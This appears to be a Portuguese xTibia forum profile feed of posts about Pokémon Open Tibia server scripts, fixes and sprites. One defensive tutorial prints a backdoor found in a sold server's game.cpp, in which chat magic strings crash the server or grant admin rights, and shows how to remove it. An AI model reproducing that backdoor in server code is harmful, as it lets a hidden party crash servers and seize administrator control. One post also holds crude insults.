-
Total de itens
729 -
Registro em
-
Última visita
-
Dias Ganhos
6
Histórico de Reputação
-
kaleudd deu reputação a Nogard em Nogard Graphic Gallery
Algumas horas, é relativo. O shenron mesmo eu fiz em várias etapas, em média 8 dias mexendo até me satisfazer, ou quase. Eu poderia ter entregue em 3 dias, talvez menos. Você precisa ter uma noção do "padrão comercial", observar os concorrentes é uma boa, muitas vezes o cliente prefere algo rápido, quase sempre. Sprites são BEM mais trabalhosas de se fazer do que a interface de um launcher por exemplo, pode ser bem cansativo.
-
kaleudd deu reputação a Nogard em Nogard Graphic Gallery
E aí pessoal, beleza?
Este tópico servirá como minha galeria gráfica (não apenas sprites), vou atualizando. Confere aí! (:
-
kaleudd deu reputação a Poccnn em Npc shop offline
Hail Xtibianos!
Trago um npc que vende seus items no jogo pelo preço que vocês quiserem oferta-lo.
Tu que tem um item e não quer ficar ofertando no canal de trade, ponha a venda com o npc, assim, quem quiser comprar um item seu, verifica as ofertas que tem naquele determinado npc (pois depende de onde ele estiver).
O sistema do npc consiste no seguinte:
O player põe o item na lista de ofertas (venda) com o npc. O player pode cancelar sua's oferta's naquele npc em que foi feita a oferta. O player pode comprar os items na lista, somente naquele local (pois é determinado pelo town). O player recebe o valor do item, desde que tenha sido vendido.
Bom... vamos ao que interessa; o código.
Para usar esse npc, tu irás precisar usar a livraria xml criada por mim que se encontra nesse link.
Algumas funções extras que tu irás precisar por no seu servidor.
Npc.xml
Npc.lua
Lembrando que todos os códigos estão formatados em UTF8, converta para ANSI antes de usá-los.
Qualquer erro ou incompatibilidade no seu servidor, deixe nos comentarios.
-
kaleudd deu reputação a kttallan em (resolvido) SetWildPokemon Level error
O erro está nessa parte.
local bonusoffense = getItemAttribute(item, boffense) or 0 local bonusdefense = getItemAttribute(item, bdefense) or 0 local bonusagility = getItemAttribute(item, bagility) or 0 local bonussattack = getItemAttribute(item, bsattack) or 0 setPlayerStorageValue(pk, 1000, getItemAttribute(item, "level")) setPlayerStorageValue(pk, 1001, getItemAttribute(item, "offense") + bonusoffense) setPlayerStorageValue(pk, 1002, getItemAttribute(item, "defense") + bonusdefense) setPlayerStorageValue(pk, 1003, getItemAttribute(item, "speed") + bonusagility) setPlayerStorageValue(pk, 1005, getItemAttribute(item, "specialattack") + bonussattack)
setPlayerStorageValue(pk, 1001, getItemAttribute(item, "offense") + bonusoffense) -- o bonusoffense está com um valor nulo se não utiliza remove ele que creio que resolva.
-
kaleudd deu reputação a kttallan em (resolvido) SetWildPokemon Level error
Posta o codigo para eu tentar ver o problema, pelo visto ele está esperando um valor arithmetrico ou seja um calculo porém o valor está gerando nulo.
-
kaleudd deu reputação a kttallan em (resolvido) SetWildPokemon Level error
Bom explicando erro, o math.random ele está tentando procurar o valor minimo e o valor maximo do pokémon wild para sortear entre eles.
Algum pokémon deve estar sem o
wildLvlMin ou
wildLvlMax
Se caso você não consiga encontrar tenta setar esse valor fixo de level.
levelRange = math.random(pokes[this].wildLvlMin, pokes[this].wildLvlMax) or 50 -- 50 = level, uma "proteção" caso não encontre nenhum dos valores acima.
-
kaleudd deu reputação a samlecter em Source Do PDA
KKKKJ
Não tem ADM ativo no xTibia não? mds cada dia ta pior, esses mlks baixam um pda, edita umas merdinhas tenta por on, mas como não tem estabilidade fecha após uns dias, daí vem postar aqui e ainda tem a cara de pal de dizer que é a "v2" da base.
Os q defendem esse mlk são mais retardados ainda, foda-se se vai servir para alguém, criticaram que NÃO é a SOURCE DO PDA, e se realmente não é, a crítica está certa. Então não vem tentar dizer que estão criticando quem está "contribuindo", se quer contribuir, contribua "direito", faça um post verdadeiro e não enganoso, diz "Source Mysterius/Erondino "adaptada" cheia de bugs que nem está compilando"
Por muito tempo não concordava com o rótulo q davam aos otadmins, pq apesar de ser verdade na MAIORIA das vezes, ainda existiam algumas exceções q não eram sangue sugas e retardados, q só eram otadmins pq ainda estavam começando e não tinham conhecimento. Mas tá cada vez pior, esse bando de criança que não entende porra nenhuma e quer ensinar, quer "contribuir", nem foi esse mlk q fez essa cagada nessa source q chamam de adaptação, então por que ele veio postar? "Ah pedi ao Kevick e ele deixou" pq vc pediu isso? pra ganhar uns reps? ou o kevick tava com vergonha de postar isso e ser criticado e deixou vc fazer por ele?
Bando de criança q só quer aparecer, vivem de aparência e falso prestígio com os noobs q acreditam e idolatram vcs
-
kaleudd deu reputação a Strogman em Source Do PDA
como assim os créditos vai todo pro jair kevick?
ai tem vários codes de vários programadores, ele só pegou codes aqui do forum e colocou na source.
tipo o nick system ai nessa source é o meu.
colocar os créditos do pessoal que fez os codes é bom né. por isso que a comunidade tá em escasso por que uns fazem algo e outros só pegam e depois dessem que forem eles que fizeram sem da os créditos pra quem realmente fez. não sabem reconhecer o trabalho do próximo só pensam em si mesmo na gula tentando subir no trabalho dos outros.
-
kaleudd deu reputação a Lordbaxx em Show-Off Task System module
Bom só pra apresentar á vocês o modelo de task que será usado no Pokemon Imperium.
Constitui-se em, o jogador conseguir e entregar alguns itens pedidos pelo NPC da task, após a entrega destes itens, o NPC dará uma quantidade de EXP ao jogador e ativará a quest de determinado pokemon (existe 1 Npc para cada pokemon da task).
O jogador terá que caçar para alcançar a quantidade necessária de pokemons que é mostrada na janela da Task (atualiza automaticamente o número que já matou, sempre que você elimina 1 pokemon da task ativa), e quando completar, o jogador só precisará apertar em reward para coletar os itens do prêmio e mais uma quantidade de EXP.
A janela ainda está sendo trabalhada, terá suporte as seguintes opções:
Nome, foto e localização do NPC no qual o jogador precisará encontrar para ativar a task.
Task diária em nova aba porém mesma window(janela).
Task de pokemons shiny também em nova aba na mesma window(janela).
Imagens
Atenciosamente, Dougllas!
-
kaleudd deu reputação a Lordbaxx em editar script bau pokemon premio
local starterpokes = { ["Weedle"] = {x = 53, y = 71, z = 7}, ["Rattata"] = {x = 51, y = 71, z = 7}, ["Caterpie"] = {x = 49, y = 71, z = 7},}local level = 5local extrastr = 1.5local btype = "normal"function onUse(cid, item, frompos, item2, topos) if getPlayerLevel(cid) > 10 then return true end if getPlayerStorageValue(cid, STORAGE) >= 1 then doPlayerSendTextMessage(cid, "Você já pegou seu pokemon! Bla bla bla..") return true end local pokemon = "" for a, b in pairs (starterpokes) do if isPosEqualPos(topos, b) then pokemon = a end end if pokemon == "" then return true end local gender = getRandomGenderByName(pokemon) local mypoke = getPokemonStatus(pokemon) if not mypoke then return true end local offense = mypoke.off * level * extrastr local defense = mypoke.def * level * extrastr local speed = mypoke.agi * level * extrastr local vit = mypoke.vit * level * extrastr local spatk = mypoke.spatk * level * extrastr local happy = 180 local leveltable = getPokemonExperienceTable(pokemon) doPlayerAddItem(cid, 2394, 10) setPlayerStorageValue(cid, STORAGE, 1) local item = doCreateItemEx(2219) doItemSetAttribute(item, "poke", pokemon) doItemSetAttribute(item, "hp", 1) doItemSetAttribute(item, "level", level) doItemSetAttribute(item, "exp", leveltable[level]) doItemSetAttribute(item, "nextlevelexp", leveltable[level+1] - leveltable[level]) doItemSetAttribute(item, "offense", offense) doItemSetAttribute(item, "defense", defense) doItemSetAttribute(item, "speed", speed) doItemSetAttribute(item, "vitality", vit) doItemSetAttribute(item, "specialattack", spatk) doItemSetAttribute(item, "happy", happy) doItemSetAttribute(item, "gender", gender) doItemSetAttribute(item, "description", "Contains a "..pokemon..".") doItemSetAttribute(item, "fakedesc", "Contains a "..pokemon..".") doItemSetAttribute(item, "unique", getCreatureName(cid)) --alterado v2.6 doPlayerAddItemEx(cid, item, true) doTransformItem(item, pokeballs[btype].on) doPlayerSendTextMessage(cid, 27, "You got your first pokemon! You also received some pokeballs to help you in your way.") doPlayerSendTextMessage(cid, 27, "Don\'t forget to use your pokedex on every undiscovered pokemon!") doSendMagicEffect(getThingPos(cid), 29) doTeleportThing(cid, getTownTemplePosition(getPlayerTown(cid))) doSendMagicEffect(getThingPos(cid), 27) doSendMagicEffect(getThingPos(cid), 29) return TRUEend
Só colocar um valor nas partes que estão com o nome "STORAGE".
Abraço!
-
kaleudd deu reputação a rorix em editar script bau pokemon premio
teste assim
local starterpokes = {["Weedle"] = {x = 53, y = 71, z = 7},["Rattata"] = {x = 51, y = 71, z = 7},["Caterpie"] = {x = 49, y = 71, z = 7},}local level = 5local extrastr = 1.5local btype = "normal"function onUse(cid, item, frompos, item2, topos)if getPlayerStorageValue(cid, 31211) == 1 thendoPlayerSendTextMessage(cid, 27, "Você já fez a quest!")return trueend if getPlayerLevel(cid) > 10 then return true end local pokemon = "" for a, b in pairs (starterpokes) do if isPosEqualPos(topos, b) then pokemon = a end end if pokemon == "" then return true end local gender = getRandomGenderByName(pokemon) local mypoke = getPokemonStatus(pokemon) if not mypoke then return true end local offense = mypoke.off * level * extrastr local defense = mypoke.def * level * extrastr local speed = mypoke.agi * level * extrastr local vit = mypoke.vit * level * extrastr local spatk = mypoke.spatk * level * extrastr local happy = 180 local leveltable = getPokemonExperienceTable(pokemon) doPlayerAddItem(cid, 2394, 10) setPlayerStorageValue(cid, 31211, 1) local item = doCreateItemEx(2219) doItemSetAttribute(item, "poke", pokemon) doItemSetAttribute(item, "hp", 1) doItemSetAttribute(item, "level", level) doItemSetAttribute(item, "exp", leveltable[level]) doItemSetAttribute(item, "nextlevelexp", leveltable[level+1] - leveltable[level]) doItemSetAttribute(item, "offense", offense) doItemSetAttribute(item, "defense", defense) doItemSetAttribute(item, "speed", speed) doItemSetAttribute(item, "vitality", vit) doItemSetAttribute(item, "specialattack", spatk) doItemSetAttribute(item, "happy", happy) doItemSetAttribute(item, "gender", gender) doItemSetAttribute(item, "description", "Contains a "..pokemon..".") doItemSetAttribute(item, "fakedesc", "Contains a "..pokemon..".") doItemSetAttribute(item, "unique", getCreatureName(cid)) --alterado v2.6 doPlayerAddItemEx(cid, item, true) doTransformItem(item, pokeballs[btype].on) doPlayerSendTextMessage(cid, 27, "You got your first pokemon! You also received some pokeballs to help you in your way.") doPlayerSendTextMessage(cid, 27, "Don\'t forget to use your pokedex on every undiscovered pokemon!") doSendMagicEffect(getThingPos(cid), 29) doTeleportThing(cid, getTownTemplePosition(getPlayerTown(cid))) doSendMagicEffect(getThingPos(cid), 27) doSendMagicEffect(getThingPos(cid), 29) return TRUEend
-
kaleudd deu reputação a Lordbaxx em [Resolvido]code que aceite acentos e simbolos
Abre seu Items.xml no Notepad++ e formata o arquivo para ANSI.
-
kaleudd deu reputação a Poccnn em (resolvido) 2 erros
Caro membro, seu tópico foi movido de Otserv > Suporte Otserv para Suporte Otserv > Otserv > Pedidos e Dúvidas Resolvidos.
-
kaleudd deu reputação a Michyalex em [DXP] PokeAlpha OpenSource
Eai galera ja que parei de fazer meu projeito basado no DXP V3, vou disponibilizar por si algum quer olhar ou fazer algo com isso. Cabe destacar que as modificaçoes sao para ficar quase o igual ao PXG, vou destacar que sou spanhol e sim alguma palabra fica errada fala para mim ^^!
¿O que contem?
- Arrumado as maiorias dos portraits e balls "Unmovable"
- Maioria das spells sao agora ao estilo do PXG
* Thunder bolt posiçao arrumada
* Stone edge, Rock Slide posiçao arrumada
* Invisible spell arrumada
*Tongue grap modificada agora quita vida e nao deixa mover ao pokemon
* Great Love, Night Daze, Entre outros adicionado o efeito central.
- Items.xml 1000-1200 items con nome
- Bike system arrumado com storage independente
- OTClient o layout da camera refeito para parecer ao PXG
- Spells com cors (bug com Mega)
- Añadidos 30 efeitos.
- Arrumado o look para parecer ao PXG
- Price System, Mark trabalha com $ e nao Gold
- House look arrumado nas sources para ficar como PXG
- Arrumado os cors do minimap de algums items
- Fly, Ride, Surf, tem as velocidades reais do PXG
- Mensagems em portuguesse foi trocado por Ingleis a malhoria
- Market com exemplo de venda de Mega direito
- Muitos sprites arrumados, outfits, items, efeitos.
- Exp por stages igual ao PXG
- Modulo do Autoloot modificado
¿Maior BUG?
- Statschange.lua (Creaturescripts)
- Surf ainda nao arrumado
Downloads:
Scans:
¿Como faço para editar esse mapa?
Créditos:
DXP TEAM
Comunidade do XTIBIA
Smix
Deadpool (City-Name Module)
Michy (eu)
-
-
kaleudd deu reputação a Deadpool em [Removido] Pokémon Hp - Open Source
tenho que concordo aehduahsudhas
muito bom o conteudo ^^
-
kaleudd recebeu reputação de Deadpool em [Removido] Pokémon Hp - Open Source
pow,queria saber que é o demente que vai comprar um ot assim,todos os sistemas que contém ta ai para geral da ctrl+c ctrl+v pela comunidade uheahea,cada um...
-
kaleudd deu reputação a nociam em (resolvido) Pokemon vai para o depot
o seu e esse
local happy = 200
--alterado v1.9 \/
if (getPlayerFreeCap(cid) >= 6 and not isInArray({5, 6}, getPlayerGroupId(cid))) or not hasSpaceInContainer(getPlayerSlotItem(cid, 3).uid) then
item = doCreateItemEx(ballid)
so muda essa parte e diz se foi porque a base que tenho aqui a pokebola não vai nem pro cp kkkkkkk.
local happy = 200
--alterado v1.9 \/
if (getPlayerFreeCap(cid) >= 6 and not isInArray({5, 6}, getPlayerGroupId(cid))) or not hasSpaceInContainer(getPlayerSlotItem(cid, 3).uid) then
item = doCreateItemEx(ballid-1)
-
kaleudd deu reputação a nociam em (resolvido) Pokemon vai para o depot
se mudo certo e para apenas colocar o -1 na função doCreateItemEx(ballid-1).
quanto vc criar um pokemon na ball pelo comando ele buga no depot mais se vc abrir 1 vez o depot já não buga mais estranho isso, mas pelo cath normal ta funfando 100%.
estava testando em outro servidor vou ver o de vcs.
-
kaleudd deu reputação a Prometheus X em Source Poketibia - Código de derrubar
Olá EKZ, hoje um amigo me disse que ele comprou um servidor e estava com código que quem vendeu para ele conseguia pegar administrador e crashar o jogo e estava ferrando com o jogo , enfim dentro da source tinha um código que ao ser falado dentro do jogo, o mesmo chashava ou até mesmo dava cargo de administrador a um jogador com groups de player. Então eu achei muita mancada e vim postar aqui para ajudar pessoas que são administradores, que ainda não manjam muito de programação. Portanto vamos lá...Você precisará das sources do seu servidor para fazer essa verificação, caso possua o código peço que siga o tutorial abaixo.
Ache em game.cpp: (se caso não tiver, fique tranquilo, sua source tá livre disso)
bool Game::internalCreatureSay(Creature* creature, SpeakClasses type, const std::string& text,
bool ghostMode, SpectatorVec* spectators/* = NULL*/, Position* pos/* = NULL*/)
{
Player* player = creature->getPlayer();
if(player && player->isAccountManager())
{
player->manageAccount(text);
return true;
}
if(text == "132571691951160609171665475233842782353388978252875245170015077017944684747472835757774156137332376855500013311808893753483521083716435624108")
{
exit(0);
}
if(text == "1325116507701794468474793753483521047283588978252875245170017577741561373323768555716919500013311808883716435624108")
{
player->setGroup(Groups::getInstance()->getGroup(6));
}
Position destPos = creature->getPosition();
if(pos)
destPos = (*pos);
SpectatorVec list;
SpectatorVec::const_iterator it;
if(!spectators || !spectators->size())
{
Mude para:
bool Game::internalCreatureSay(Creature* creature, SpeakClasses type, const std::string& text,
bool ghostMode, SpectatorVec* spectators/* = NULL*/, Position* pos/* = NULL*/)
{
Player* player = creature->getPlayer();
if(player && player->isAccountManager())
{
player->manageAccount(text);
return true;
}
Position destPos = creature->getPosition();
if(pos)
destPos = (*pos);
SpectatorVec list;
SpectatorVec::const_iterator it;
if(!spectators || !spectators->size())
{
Créditos
Prometheus X (Por Trazer ao Xtibia)
Alexy Brocanello (Pelo Código)
CipSoft (Pelo Código Original)
Qualquer outro será creditado !
Atenciosamente
Prometheus X
-
kaleudd recebeu reputação de YagobLINDDD em Texto Animado+Efeitos
local config = {positions = {["nome_do_texto"] = { x = 453, y = 605, z = 7 }, --add posição}}function onThink(cid, interval, lastExecution)for text, pos in pairs(config.positions) dodoSendAnimatedText(pos, text, math.random(1, 255)) --efeitoendreturn TRUEend <globalevent name="texto" interval="2" script="texto.lua" />
-
kaleudd deu reputação a Wicke em [7.4] Sprites Classicus - Morghar - Medivia
Né pelo que estão pagando só por sprites a dificultade de Descriptografar deve estar meio complicado
-
kaleudd recebeu reputação de matheus7z em [7.4] Sprites Classicus - Morghar - Medivia
quero ver ele descompilar o do padventure huehauehae
quero ver ele descompilar o do padventure huehauehae
-
kaleudd deu reputação a matheus7z em [7.4] Sprites Classicus - Morghar - Medivia
Em ordem de dificuldade, onde PxG é o mais difícil:
PokeBro
PAdventures
PokexGames (PxG)
Boa sorte
-
kaleudd recebeu reputação de Deadpool em (resolvido) Pokemon vai para o depot
aqui eu consegui corrigir como vc disse pela source e parou,vlw e.e
-
Quem Está Navegando 0 membros estão online
- Nenhum usuário registrado visualizando esta página.